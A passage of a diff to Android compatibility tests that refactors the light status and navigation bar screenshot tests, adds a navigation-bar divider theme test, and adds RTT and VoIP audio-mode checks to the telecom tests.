+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+<resources>
+ <color name="navigationBarDividerColor">#ff0000</color>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/systemui/res/values/styles.xml b/tests/tests/systemui/res/values/styles.xml
new file mode 100644
index 0000000..dd95114
--- /dev/null
+++ b/tests/tests/systemui/res/values/styles.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+<resources>
+ <style name="LightBarTheme" parent="@android:style/Theme.Material.Light.NoActionBar">
+ <item name="android:windowLightStatusBar">true</item>
+ <item name="android:windowLightNavigationBar">true</item>
+ <item name="android:navigationBarColor">@android:color/white</item>
+ <item name="android:navigationBarDividerColor">@color/navigationBarDividerColor</item>
+ </style>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
index 6a1e0d7..a826575 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
@@ -15,29 +15,13 @@
*/
package android.systemui.cts;
-import android.app.Activity;
-import android.graphics.Color;
-import android.os.Bundle;
import android.view.View;
-import android.view.ViewGroup.LayoutParams;
-
/**
* An activity that exercises SYSTEM_UI_FLAG_LIGHT_STATUS_BAR and
* SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR.
*/
-public class LightBarActivity extends Activity {
-
- private View mContent;
-
- public void onCreate(Bundle bundle){
- super.onCreate(bundle);
-
- mContent = new View(this);
- mContent.setLayoutParams(new LayoutParams(LayoutParams.MATCH_PARENT,
- LayoutParams.MATCH_PARENT));
- setContentView(mContent);
- }
+public class LightBarActivity extends LightBarBaseActivity {
public void setLightStatusBar(boolean lightStatusBar) {
setLightBar(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
@@ -56,16 +40,4 @@
}
getWindow().getDecorView().setSystemUiVisibility(vis);
}
-
- public int getTop() {
- return mContent.getLocationOnScreen()[1];
- }
-
- public int getBottom() {
- return mContent.getLocationOnScreen()[1] + mContent.getHeight();
- }
-
- public int getWidth() {
- return mContent.getWidth();
- }
}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
new file mode 100644
index 0000000..1b228f3
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.View;
+import android.view.ViewGroup.LayoutParams;
+
+public class LightBarBaseActivity extends Activity {
+
+ private View mContent;
+
+ @Override
+ protected void onCreate(Bundle bundle){
+ super.onCreate(bundle);
+ mContent = new View(this);
+ mContent.setLayoutParams(new LayoutParams(LayoutParams.MATCH_PARENT,
+ LayoutParams.MATCH_PARENT));
+ setContentView(mContent);
+ }
+
+ public int getSystemUiVisibility() {
+ return mContent.getWindowSystemUiVisibility();
+ }
+
+ public int getTop() {
+ return mContent.getLocationOnScreen()[1];
+ }
+
+ public int getBottom() {
+ return mContent.getLocationOnScreen()[1] + mContent.getHeight();
+ }
+
+ public int getWidth() {
+ return mContent.getWidth();
+ }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
new file mode 100644
index 0000000..d4c7862
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+
+import android.graphics.Bitmap;
+import android.util.Log;
+import android.view.KeyCharacterMap;
+import android.view.KeyEvent;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+
+public class LightBarTestBase {
+
+ private static final String TAG = "LightBarTestBase";
+
+ public static final String DUMP_PATH = "/sdcard/lightstatustest.png";
+
+ protected Bitmap takeStatusBarScreenshot(LightBarBaseActivity activity) {
+ Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
+ return Bitmap.createBitmap(fullBitmap, 0, 0, activity.getWidth(), activity.getTop());
+ }
+
+ protected Bitmap takeNavigationBarScreenshot(LightBarBaseActivity activity) {
+ Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
+ return Bitmap.createBitmap(fullBitmap, 0, activity.getBottom(), activity.getWidth(),
+ fullBitmap.getHeight() - activity.getBottom());
+ }
+
+ protected void dumpBitmap(Bitmap bitmap) {
+ Log.e(TAG, "Dumping failed bitmap to " + DUMP_PATH);
+ FileOutputStream fileStream = null;
+ try {
+ fileStream = new FileOutputStream(DUMP_PATH);
+ bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
+ fileStream.flush();
+ } catch (Exception e) {
+ Log.e(TAG, "Dumping bitmap failed.", e);
+ } finally {
+ if (fileStream != null) {
+ try {
+ fileStream.close();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+ }
+
+ protected boolean hasVirtualNavigationBar() {
+ boolean hasBackKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_BACK);
+ boolean hasHomeKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_HOME);
+ return !hasBackKey || !hasHomeKey;
+ }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 4b79ed3..eccb16d 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,18 +16,28 @@
package android.systemui.cts;
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.app.ActivityManager;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.Color;
-import android.support.test.InstrumentationRegistry;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-import android.view.KeyCharacterMap;
-import android.view.KeyEvent;
+import android.os.SystemClock;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.InputDevice;
+import android.view.MotionEvent;
-import java.io.FileOutputStream;
-import java.io.IOException;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Test for light status bar.
@@ -35,26 +45,36 @@
* mmma cts/tests/tests/systemui
* cts-tradefed run commandAndExit cts-dev --module CtsSystemUiTestCases --test android.systemui.cts.LightBarTests --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
*/
-public class LightBarTests extends ActivityInstrumentationTestCase2<LightBarActivity> {
+@RunWith(AndroidJUnit4.class)
+public class LightBarTests extends LightBarTestBase {
public static final String TAG = "LightStatusBarTests";
- public static final String DUMP_PATH = "/sdcard/lightstatustest.png";
+ private static final int WAIT_TIME = 2000;
- public LightBarTests() {
- super(LightBarActivity.class);
- }
+ /**
+ * Color may be slightly off-spec when resources are resized for lower densities. Use this error
+ * margin to accommodate for that when comparing colors.
+ */
+ private static final int COLOR_COMPONENT_ERROR_MARGIN = 10;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- // As the way to access Instrumentation is changed in the new runner, we need to inject it
- // manually into ActivityInstrumentationTestCase2. ActivityInstrumentationTestCase2 will
- // be marked as deprecated and replaced with ActivityTestRule.
- injectInstrumentation(InstrumentationRegistry.getInstrumentation());
- }
+ private final String NOTIFICATION_TAG = "TEST_TAG";
+ private final String NOTIFICATION_CHANNEL_ID = "test_channel";
+ private final String NOTIFICATION_GROUP_KEY = "test_group";
+ private NotificationManager mNm;
+ @Rule
+ public ActivityTestRule<LightBarActivity> mActivityRule = new ActivityTestRule<>(
+ LightBarActivity.class);
+
+ @Test
public void testLightStatusBarIcons() throws Throwable {
+ mNm = (NotificationManager) getInstrumentation().getContext()
+ .getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+ NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+ mNm.createNotificationChannel(channel1);
+
PackageManager pm = getInstrumentation().getContext().getPackageManager();
if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
|| pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
@@ -69,20 +89,37 @@
return;
}
- requestLightBars(Color.RED /* background */);
- Thread.sleep(1000);
+ // post 10 notifications to ensure enough icons in the status bar
+ for (int i = 0; i < 10; i++) {
+ Notification.Builder noti1 = new Notification.Builder(getInstrumentation().getContext(),
+ NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.ic_save)
+ .setChannelId(NOTIFICATION_CHANNEL_ID)
+ .setPriority(Notification.PRIORITY_LOW)
+ .setGroup(NOTIFICATION_GROUP_KEY);
+ mNm.notify(NOTIFICATION_TAG, i, noti1.build());
+ }
- Bitmap bitmap = takeStatusBarScreenshot();
+ requestLightBars(Color.RED /* background */);
+ Thread.sleep(WAIT_TIME);
+
+ Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
assertLightStats(bitmap, s);
+
+ mNm.cancelAll();
+ mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
}
+ @Test
public void testLightNavigationBar() throws Throwable {
PackageManager pm = getInstrumentation().getContext().getPackageManager();
if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
|| pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
- || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+ || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+ || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
// No navigation bar on TVs and watches.
+ // Car navigation is not transparent.
return;
}
@@ -97,17 +134,32 @@
}
requestLightBars(Color.RED /* background */);
- Thread.sleep(1000);
+ Thread.sleep(WAIT_TIME);
- Bitmap bitmap = takeNavigationBarScreenshot();
+ // Inject a cancelled interaction with the nav bar to ensure it is at full opacity.
+ int x = mActivityRule.getActivity().getWidth() / 2;
+ int y = mActivityRule.getActivity().getBottom() + 10;
+ injectCanceledTap(x, y);
+ Thread.sleep(WAIT_TIME);
+
+ Bitmap bitmap = takeNavigationBarScreenshot(mActivityRule.getActivity());
Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
assertLightStats(bitmap, s);
}
- private boolean hasVirtualNavigationBar() {
- boolean hasBackKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_BACK);
- boolean hasHomeKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_HOME);
- return !hasBackKey || !hasHomeKey;
+ private void injectCanceledTap(int x, int y) {
+ long downTime = SystemClock.uptimeMillis();
+ injectEvent(MotionEvent.ACTION_DOWN, x, y, downTime);
+ injectEvent(MotionEvent.ACTION_CANCEL, x, y, downTime);
+ }
+
+ private void injectEvent(int action, int x, int y, long downTime) {
+ final UiAutomation automation = getInstrumentation().getUiAutomation();
+ final long eventTime = SystemClock.uptimeMillis();
+ MotionEvent event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0);
+ event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ assertTrue(automation.injectInputEvent(event, true));
+ event.recycle();
}
private void assertLightStats(Bitmap bitmap, Stats s) {
@@ -117,7 +169,7 @@
(float) s.backgroundPixels / s.totalPixels(),
"Is the bar background showing correctly (solid red)?");
- assertMoreThan("Not enough pixels colored as in the spec", 0.1f,
+ assertMoreThan("Not enough pixels colored as in the spec", 0.3f,
(float) s.iconPixels / s.foregroundPixels(),
"Are the bar icons colored according to the spec "
+ "(60% black and 24% black)?");
@@ -133,7 +185,6 @@
success = true;
} finally {
if (!success) {
- Log.e(TAG, "Dumping failed bitmap to " + DUMP_PATH);
dumpBitmap(bitmap);
}
}
@@ -162,8 +213,8 @@
}
private void requestLightBars(final int background) throws Throwable {
- final LightBarActivity activity = getActivity();
- runTestOnUiThread(() -> {
+ final LightBarActivity activity = mActivityRule.getActivity();
+ activity.runOnUiThread(() -> {
activity.getWindow().setStatusBarColor(background);
activity.getWindow().setNavigationBarColor(background);
activity.setLightStatusBar(true);
@@ -216,7 +267,7 @@
}
// What we expect the icons to be colored according to the spec.
- if (c == mixedIconColor || c == mixedIconPartialColor) {
+ if (isColorSame(c, mixedIconColor) || isColorSame(c, mixedIconPartialColor)) {
s.iconPixels++;
continue;
}
@@ -240,25 +291,6 @@
return s;
}
- private void dumpBitmap(Bitmap bitmap) {
- FileOutputStream fileStream = null;
- try {
- fileStream = new FileOutputStream(DUMP_PATH);
- bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
- fileStream.flush();
- } catch (Exception e) {
- Log.e(TAG, "Dumping bitmap failed.", e);
- } finally {
- if (fileStream != null) {
- try {
- fileStream.close();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- }
- }
-
private int mixSrcOver(int background, int foreground) {
int bgAlpha = Color.alpha(background);
int bgRed = Color.red(background);
@@ -276,15 +308,14 @@
fgBlue + (255 - fgAlpha) * bgBlue / 255);
}
- private Bitmap takeStatusBarScreenshot() {
- Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
- return Bitmap.createBitmap(fullBitmap, 0, 0,
- getActivity().getWidth(), getActivity().getTop());
- }
-
- private Bitmap takeNavigationBarScreenshot() {
- Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
- return Bitmap.createBitmap(fullBitmap, 0, getActivity().getBottom(),
- getActivity().getWidth(), fullBitmap.getHeight() - getActivity().getBottom());
+ /**
+ * Check if two colors' diff is in the error margin as defined in
+ * {@link #COLOR_COMPONENT_ERROR_MARGIN}.
+ */
+ private boolean isColorSame(int c1, int c2){
+ return Math.abs(Color.alpha(c1) - Color.alpha(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+ && Math.abs(Color.red(c1) - Color.red(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+ && Math.abs(Color.green(c1) - Color.green(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+ && Math.abs(Color.blue(c1) - Color.blue(c2)) < COLOR_COMPONENT_ERROR_MARGIN;
}
}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java
new file mode 100644
index 0000000..d28d2b5
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+public class LightBarThemeActivity extends LightBarBaseActivity {
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
new file mode 100644
index 0000000..1ce3c1b
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.content.pm.PackageManager;
+import android.view.View;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for light system bars that set the flag via theme.
+ *
+ * mmma cts/tests/tests/systemui
+ * cts-tradefed run commandAndExit cts-dev --module CtsSystemUiTestCases --test android.systemui.cts.LightBarThemeTest --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
+ */
+@RunWith(AndroidJUnit4.class)
+public class LightBarThemeTest extends LightBarTestBase {
+
+ private UiDevice mDevice;
+
+ @Rule
+ public ActivityTestRule<LightBarThemeActivity> mActivityRule = new ActivityTestRule<>(
+ LightBarThemeActivity.class);
+
+ @Before
+ public void setUp() {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ }
+
+ @Test
+ public void testThemeSetsFlags() throws Exception {
+ final int visibility = mActivityRule.getActivity().getSystemUiVisibility();
+ assertTrue((visibility & View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR) != 0);
+ assertTrue((visibility & View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR) != 0);
+ }
+
+ @Test
+ public void testNavigationBarDivider() throws Exception {
+ PackageManager pm = getInstrumentation().getContext().getPackageManager();
+ if (pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ // Car navigation is not transparent
+ return;
+ }
+
+ if (!hasVirtualNavigationBar()) {
+ // No virtual navigation bar, so no effect.
+ return;
+ }
+
+ // Wait until the activity is fully visible
+ mDevice.waitForIdle();
+
+ final int dividerColor = getInstrumentation().getContext().getColor(
+ R.color.navigationBarDividerColor);
+ final Bitmap bitmap = takeNavigationBarScreenshot(mActivityRule.getActivity());
+ int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
+ bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
+ for (int col = 0; col < bitmap.getWidth(); col++) {
+ if (dividerColor != pixels[col]) {
+ dumpBitmap(bitmap);
+ fail("Invalid color exptected=" + dividerColor + " actual=" + pixels[col]);
+ }
+ }
+ }
+}
diff --git a/tests/tests/telecom/Android.mk b/tests/tests/telecom/Android.mk
index 6b12ce8..8a243eb 100644
--- a/tests/tests/telecom/Android.mk
+++ b/tests/tests/telecom/Android.mk
@@ -24,13 +24,17 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 6dcd6ca..f0cad67 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -74,6 +74,13 @@
</intent-filter>
</receiver>
+ <receiver android:name="android.telecom.cts.MockPhoneAccountChangedReceiver">
+ <intent-filter>
+ <action android:name="android.telecom.action.PHONE_ACCOUNT_REGISTERED"/>
+ <action android:name="android.telecom.action.PHONE_ACCOUNT_UNREGISTERED"/>
+ </intent-filter>
+ </receiver>
+
<activity android:name="android.telecom.cts.MockDialerActivity">
<intent-filter>
<action android:name="android.intent.action.DIAL" />
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 3a70102..93e4c65 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -68,6 +68,10 @@
TestUtils.InvokeCounter mOnConnectionEventCounter;
TestUtils.InvokeCounter mOnExtrasChangedCounter;
TestUtils.InvokeCounter mOnPropertiesChangedCounter;
+ TestUtils.InvokeCounter mOnRttModeChangedCounter;
+ TestUtils.InvokeCounter mOnRttStatusChangedCounter;
+ TestUtils.InvokeCounter mOnRttInitiationFailedCounter;
+ TestUtils.InvokeCounter mOnRttRequestCounter;
Bundle mPreviousExtras;
int mPreviousProperties = -1;
@@ -228,6 +232,27 @@
Log.i(TAG, "onSilenceRinger");
mOnSilenceRingerCounter.invoke();
}
+
+ @Override
+ public void onRttModeChanged(Call call, int mode) {
+ mOnRttModeChangedCounter.invoke(call, mode);
+ }
+
+ @Override
+ public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {
+ mOnRttStatusChangedCounter.invoke(call, enabled, rttCall);
+ }
+
+ @Override
+ public void onRttRequest(Call call, int id) {
+ mOnRttRequestCounter.invoke(call, id);
+ }
+
+ @Override
+ public void onRttInitiationFailure(Call call, int reason) {
+ mOnRttInitiationFailedCounter.invoke(call, reason);
+ }
+
};
MockInCallService.setCallbacks(mInCallCallbacks);
@@ -242,6 +267,11 @@
mOnConnectionEventCounter = new TestUtils.InvokeCounter("OnConnectionEvent");
mOnExtrasChangedCounter = new TestUtils.InvokeCounter("OnDetailsChangedCounter");
mOnPropertiesChangedCounter = new TestUtils.InvokeCounter("OnPropertiesChangedCounter");
+ mOnRttModeChangedCounter = new TestUtils.InvokeCounter("mOnRttModeChangedCounter");
+ mOnRttStatusChangedCounter = new TestUtils.InvokeCounter("mOnRttStatusChangedCounter");
+ mOnRttInitiationFailedCounter =
+ new TestUtils.InvokeCounter("mOnRttInitiationFailedCounter");
+ mOnRttRequestCounter = new TestUtils.InvokeCounter("mOnRttRequestCounter");
}
/**
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
old mode 100644
new mode 100755
index 1895b0f..38f2673
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -19,6 +19,8 @@
import static android.telecom.cts.TestUtils.*;
import android.content.ComponentName;
+import android.content.Context;
+import android.media.AudioManager;
import android.telecom.Call;
import android.telecom.Connection;
import android.telecom.ConnectionService;
@@ -27,7 +29,8 @@
import java.util.Collection;
/**
- * Test some additional {@link ConnectionService} APIs not already covered by other tests.
+ * Test some additional {@link ConnectionService} and {@link Connection} APIs not already covered
+ * by other tests.
*/
public class ConnectionServiceTest extends BaseTelecomTestWithMockServices {
@@ -104,6 +107,50 @@
assertCallState(call, Call.STATE_DIALING);
}
+ public void testVoipAudioModePropagation() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeAndVerifyCall();
+ MockConnection connection = verifyConnectionForOutgoingCall();
+ connection.setAudioModeIsVoip(true);
+ waitOnAllHandlers(getInstrumentation());
+
+ AudioManager audioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+ waitUntilConditionIsTrueOrTimeout(
+ new Condition() {
+ @Override
+ public Object expected() {
+ return AudioManager.MODE_IN_COMMUNICATION;
+ }
+
+ @Override
+ public Object actual() {
+ return audioManager.getMode();
+ }
+ },
+ WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "wait for mode in-communication"
+ );
+
+ connection.setAudioModeIsVoip(false);
+ waitOnAllHandlers(getInstrumentation());
+ waitUntilConditionIsTrueOrTimeout(
+ new Condition() {
+ @Override
+ public Object expected() {
+ return AudioManager.MODE_IN_CALL;
+ }
+
+ @Override
+ public Object actual() {
+ return audioManager.getMode();
+ }
+ },
+ WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "wait for mode in-call"
+ );
+ }
+
public void testGetAllConnections() {
if (!mShouldTestTelecom) {
return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 5183bd4..da4fcf5 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -37,6 +37,9 @@
public static final int ON_CALL_EVENT = 2;
public static final int ON_PULL_EXTERNAL_CALL = 3;
public static final int ON_EXTRAS_CHANGED = 4;
+ public static final int ON_START_RTT = 5;
+ public static final int ON_RTT_REQUEST_RESPONSE = 6;
+ public static final int ON_STOP_RTT = 7;
private CallAudioState mCallAudioState =
new CallAudioState(false, CallAudioState.ROUTE_EARPIECE, ROUTE_EARPIECE | ROUTE_SPEAKER);
@@ -46,6 +49,7 @@
private MockVideoProvider mMockVideoProvider;
private PhoneAccountHandle mPhoneAccountHandle;
private RemoteConnection mRemoteConnection = null;
+ private RttTextStream mRttTextStream;
private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(10);
@@ -187,6 +191,36 @@
}
}
+ @Override
+ public void onStartRtt(RttTextStream rttTextStream) {
+ super.onStartRtt(rttTextStream);
+ if (mInvokeCounterMap.get(ON_START_RTT) != null) {
+ mInvokeCounterMap.get(ON_START_RTT).invoke(rttTextStream);
+ }
+ }
+
+ @Override
+ public void handleRttUpgradeResponse(RttTextStream rttTextStream) {
+ super.handleRttUpgradeResponse(rttTextStream);
+ if (rttTextStream != null) {
+ setRttTextStream(rttTextStream);
+ setConnectionProperties(getConnectionProperties() | PROPERTY_IS_RTT);
+ }
+
+ if (mInvokeCounterMap.get(ON_RTT_REQUEST_RESPONSE) != null) {
+ mInvokeCounterMap.get(ON_RTT_REQUEST_RESPONSE).invoke(rttTextStream);
+ }
+ }
+
+ @Override
+ public void onStopRtt() {
+ super.onStopRtt();
+
+ if (mInvokeCounterMap.get(ON_STOP_RTT) != null) {
+ mInvokeCounterMap.get(ON_STOP_RTT).invoke();
+ }
+ }
+
public int getCurrentState() {
return mState;
}
@@ -264,6 +298,14 @@
return mRemoteConnection;
}
+ public void setRttTextStream(RttTextStream rttTextStream) {
+ mRttTextStream = rttTextStream;
+ }
+
+ public RttTextStream getRttTextStream() {
+ return mRttTextStream;
+ }
+
private static String getCounterLabel(int counterIndex) {
switch (counterIndex) {
case ON_POST_DIAL_WAIT:
@@ -274,6 +316,12 @@
return "onPullExternalCall";
case ON_EXTRAS_CHANGED:
return "onExtrasChanged";
+ case ON_START_RTT:
+ return "onStartRtt";
+ case ON_RTT_REQUEST_RESPONSE:
+ return "onRttRequestResponse";
+ case ON_STOP_RTT:
+ return "onStopRtt";
default:
return "Callback";
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
index 4b9063d..6e022e6 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
@@ -65,6 +65,11 @@
}
connection.setVideoState(request.getVideoState());
connection.setInitializing();
+ if (request.isRequestingRtt()) {
+ connection.setRttTextStream(request.getRttTextStream());
+ connection.setConnectionProperties(connection.getConnectionProperties() |
+ Connection.PROPERTY_IS_RTT);
+ }
outgoingConnections.add(connection);
lock.release();
@@ -82,6 +87,11 @@
